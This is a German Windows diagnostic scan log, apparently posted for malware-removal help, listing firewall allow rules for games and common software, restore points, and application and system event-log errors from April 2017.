FirewallRules: [TCP Query User{71F507F3-2C79-42B6-B82D-BB656B193B5C}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [UDP Query User{3E7831B8-5AD1-401A-B4FE-FE862779F413}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [TCP Query User{AC48CC9C-BEEB-41F8-B6FE-BDE9594E996A}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [{E709CF75-200F-4F69-BA64-6DC325D6E4D8}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{2A97E5CC-CDE3-4833-B786-780A36477E78}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{5E1D53C5-16C7-41D8-8F60-5C45F1F883E4}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{3B8F01F2-44B4-48F1-893E-F25A6B5A80A6}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{CCCA6BFF-D475-4AB1-8714-67231C30B171}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{801303BD-D483-45F9-8BE4-0C3092210BFA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7B2B89EC-B084-4775-909E-1E436A8CCEE0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9BC25817-B7F2-4E86-B78C-D190A59CDDC0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{82DAAF33-AB25-4F77-B2DE-2A08EA76CE8E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D881E7B1-3C84-4951-9113-200ADD8C57D3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{437CD7DC-FAA4-46BD-8E05-D2038926F1DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3ADA770B-6B5A-4072-8A7F-7426703317D1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{A09BC896-94A9-43AF-8349-AF24CBB0E9DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{698729B4-F743-4C8D-B638-22B026E7476C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{31E35830-FF05-4270-B952-45F331BCF7E2}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{02162ABF-48A1-40D9-9FDE-497FCA82022C}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [{18052865-7A27-4EB6-87C3-2A124516D252}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{136DA40C-399A-4957-B063-E65635B57C01}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79DFFE54-2093-4DB7-9DEC-8F1C327CC4A9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2D0D03FD-E381-4621-9462-9B866A2A02BE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6C1355F-097F-4C1F-B048-FA9D00EC563D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4EE80D68-A42F-4644-B2B4-EEFBA1D991C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{9372E204-7160-4101-8EC5-940766D5730F}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [TCP Query User{45C2CE56-998B-426C-975B-4C3F21D71052}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [{B7E6FEB9-5123-4349-952E-83EC9E0453C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C5047B19-7C93-4444-88E0-CD4595D3C1A3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C44C1673-EAB1-4CE1-ABFF-239AA777E102}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8F5F4CA-9870-4E19-880E-C8E7DDBD5EFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{B70DDCB0-378D-4473-BDAD-659DEFA9A185}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [TCP Query User{C101FBC7-665A-430C-B94B-4DC081DE017B}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [{F5BFB382-48AB-474F-8147-7258DACA99F9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2C4FCF9E-6DA7-49B6-9B60-FDCA6DA45A11}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F3EB37A0-86EC-417D-A277-B84906E63A4F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{110C40BC-BF07-4859-80D8-725400F0D98A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1A38DC04-B5BD-48D9-9981-CD21E114FF5E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F4FD4A06-943E-405D-8206-65AC272DF70F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE8D090-0D11-498B-BDA5-52D143E2DB4A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{933709EE-90F2-4133-9D31-EAE0B7F8B6A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{41579014-8F15-4E76-8760-60834F795ECB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C3AB4D8B-CAF0-4B45-87C9-86E62AD4B739}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79C012EB-D874-4406-BB39-66E16C0045B1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F2A0119D-BE15-49A5-9C01-E0A94D44CF4D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8B74A98-3A88-42C1-9B54-ED4C8075EDF7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{ABB92F30-3494-4450-8E17-35E5A51E8841}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7C367DCA-7076-476E-B6F7-47B2DE4EBE3C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8236C729-4359-432B-92BC-59CFF7D77BBB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1C0FB2B6-FC5E-49AB-B7C9-E56234A4C918}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2531BD16-FC00-4CBD-825F-04B4AC574A39}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C49896D4-6219-4FFD-903A-B4C59FD53960}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6921994C-A050-4142-A0A7-24309EB0B0CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{112D9B6E-C2F2-489C-8485-8A2E4F7D30E3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF9FA2D6-596C-40F0-8827-96CB2BD1D0DD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B7AD7E15-6155-4676-8EE3-C2C66B5CB20F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{410FBA75-F1F7-4ED9-822D-311A79FC9E7E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6E7793D2-3924-4C1A-93D9-99C631532506}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\HPNetworkCommunicatorCom.exe

FirewallRules: [{8901CADF-0B01-4DB1-9DDD-EC0AE6F72C09}] => (Allow) LPort=5357

FirewallRules: [{553C8532-63BC-4FA0-9CF2-3754E35245B0}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\DeviceSetup.exe

FirewallRules: [{B454DE81-4121-4D5B-98DA-EB7E3AFC9B72}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5AA5E766-9343-4B7C-B696-E11CF4FBB799}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{816DA247-8660-4953-AD9E-8B14BFAF8C0B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9D866496-087F-472B-B313-E35A702D9D2B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0CBE440-855D-4E82-9E61-6D17C1571721}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2AE9117C-1D43-4ED5-9F29-14117E3429A2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4B464F14-9E75-4F33-AB27-7226D29E9678}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{86D9483A-FA99-4ADA-A3EE-E5A6E4E7A2E5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{AEF76242-CA70-4EDE-B14E-7D8784E4F368}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{EB487EE1-9C70-48AC-97B9-3BFAC06E7121}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [{8CBEE266-AD4C-4738-8F28-26CAF7DFA309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CFF661B5-5B5E-4986-BD89-45D334143A48}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D0048B4D-1FBB-451B-B630-473D9DE0A5CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF3DEACA-0759-4C85-96BF-82CF2A16E937}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{339EF314-F39F-44DC-8E53-59D323BE0C9C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8CFE5BA-85C1-47B4-A407-A0BBEAE19FAD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6A425000-0AF9-4324-9CFF-5951A4218445}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D4A7932A-C6DF-4C57-A1E4-D0558EC0E462}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{779AFC5C-D10A-4510-9A19-21B6FD3402AE}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [TCP Query User{6B25C7B2-DA39-4255-B591-4D64C8CA02A8}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [{5D8D978A-DB15-47B5-89D5-734A760B7A51}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{05D000CE-07B9-4974-A174-1C647EAC7543}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7EBDB01-D5A4-4F07-91D0-9BCB47E43AEF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2E6371E-3ACF-4310-960F-6C3CD4F13A37}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F307D1AF-9A43-457B-9C16-05B86AC42F30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{47C36104-9481-4D5F-A85F-FADAF2000416}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CF9D4E0D-6F2B-4493-A82D-7CD572708136}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D89F2BE9-2C07-480B-939A-AA25A677A366}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{FFAD50D1-18C6-479C-9087-C3A173E98A8C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{BD373ECD-F038-4F23-8DB3-4466231C0FFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2E4F0D97-68D6-4316-AA6D-D243F3BE4E16}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7771CF6B-9BDE-49BD-A41A-45CCF7C0EEEA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7BD1525-8C65-40B1-AFDD-22174B557C79}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5D2E7CF4-1357-47BD-B7AD-A63014F4312C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{15760D5E-0416-4E4C-8CD6-02AA8735EB5F}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [TCP Query User{331B2A1E-C893-4BD7-8FD1-E9B932FBB7E6}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [UDP Query User{A15E6547-9B11-4FC2-A44E-89006B71F352}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [TCP Query User{ED574F3A-B2C7-4411-82AA-9C158DC2DB9C}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [{8E8AA40B-415E-4E76-B615-5E5113246074}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F82E75A0-F58C-42DF-A2E2-ED42168F6A8A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{4EE5130D-729D-4064-B440-1AE1CB6933D3}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [TCP Query User{6937723B-70E3-4564-ACAA-ED541548A596}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [{D965CBFC-06C7-4D70-9ADC-1AC2077B5B53}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F620B299-2563-4DF8-B7BF-64CEF8CE5D73}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{58A7CEAC-BD89-4906-8802-CC7EAA2D5CA3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{D4DAC0C6-FDE9-41F0-B9FD-D751A80A083D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{6C509364-8BAA-4FF3-8F21-35BDFE9F4E9B}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BAD19D4C-6D25-4F9D-9337-314AE17FF150}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BFE4213B-CC35-4711-8BE8-918C239CAFEB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{88950193-384B-4394-B893-9D9B67417B86}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{3AACE4DF-D7B6-408E-BB43-A32052AC0D33}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{E4085E2C-1441-481E-8498-716301809904}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0F06C56-5C5D-4191-AE97-CA80ADE0C6CF}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{34051D0E-6847-4CED-A111-DBA345847DD0}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{2C276577-70DE-41F9-9AC8-240C8D1B71E1}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{EBCB342C-E889-46B6-A155-FF0EEEBA40DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{54BCAE60-FAE6-4E7E-B768-8779857E84F1}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe

FirewallRules: [{5207AEB2-4136-4BAA-84BC-70B41C9ABE4A}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{F28BF37D-8969-4915-97CC-4ED8875972FD}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{CBFE2ED2-36E9-4974-BEF0-A081E5A8E85F}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe

FirewallRules: [{DC70CB90-4841-43F5-9122-1FBB3B2F121D}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{1DA07592-B958-435C-B9C8-2F2BFD0140E1}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{04C83F46-AC54-4B51-BAFE-50EB14006008}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{472AFE3F-0033-4132-938D-A746C1200CB6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [TCP Query User{7B88EF8D-96CE-4216-AF6C-AC0628B4AD77}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [UDP Query User{431CA897-6069-458F-A5ED-50B246344709}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [{9AE7186B-4072-471A-B309-3CB05922FB70}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C9478BC4-3E1E-4BFD-8A11-CEE96FC36F22}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0D031CF2-BC49-490C-911B-E9C8E76463EB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8CC5D0BE-0665-4D2D-8262-662FD557D1AF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{181DA604-349F-43BF-8201-2C94BA0D16F2}] => (Allow) C:\Program Files (x86)\Everbean\Application\chrome.exe

FirewallRules: [{E55F8F6F-CBF5-486C-8090-5F92B493C03D}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

FirewallRules: [{DE60D1F8-DC68-461A-A7AF-2A65B60C1E30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C320652F-AACF-4EDA-9AA6-C786FFA63117}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AC896D46-11F7-494A-AB9F-DC11924FC941}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{71C6581E-CF1A-4960-995D-5620AF77C7EF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0B0F6BBC-B133-4D78-ABE8-44C606F97BB2}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

FirewallRules: [{3CEAAE20-4595-40D4-8251-382FE28AC8E7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9EBD0BD6-B439-458E-81A2-595108D71309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe
 

==================== Wiederherstellungspunkte =========================
 

14-04-2017 08:01:07 Windows Update

23-04-2017 05:06:51 Geplanter Prüfpunkt
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (04/23/2017 12:40:37 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: ANDREAS-PC)

Description: Bei der Aktivierung der App „Microsoft.BingWeather_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927148. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.
 

Error: (04/22/2017 11:03:02 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/22/2017 11:03:02 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/22/2017 11:03:00 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/22/2017 08:08:03 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: ANDREAS-PC)

Description: Bei der Aktivierung der App „Microsoft.Windows.Photos_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927142. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.
 
 

Systemfehler:

=============

Error: (04/23/2017 11:23:50 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: Dienst "Skype Updater" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.
 

Error: (04/23/2017 11:22:49 PM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 

Error: (04/23/2017 12:35:06 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 

Error: (04/23/2017 12:34:55 AM) (Source: Microsoft-Windows-Kernel-Boot) (EventID: 29) (User: NT-AUTORITÄT)

Description: 32212256845621150119098280
 

Error: (04/23/2017 12:35:06 AM) (Source: EventLog) (EventID: 6008) (User: )

Description: Das System wurde zuvor am ‎22.‎04.‎2017 um 11:16:41 unerwartet heruntergefahren.
 

Error: (04/22/2017 07:56:41 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 

Error: (04/22/2017 05:40:39 AM) (Source: DCOM) (EventID: 10010) (User: ANDREAS-PC)

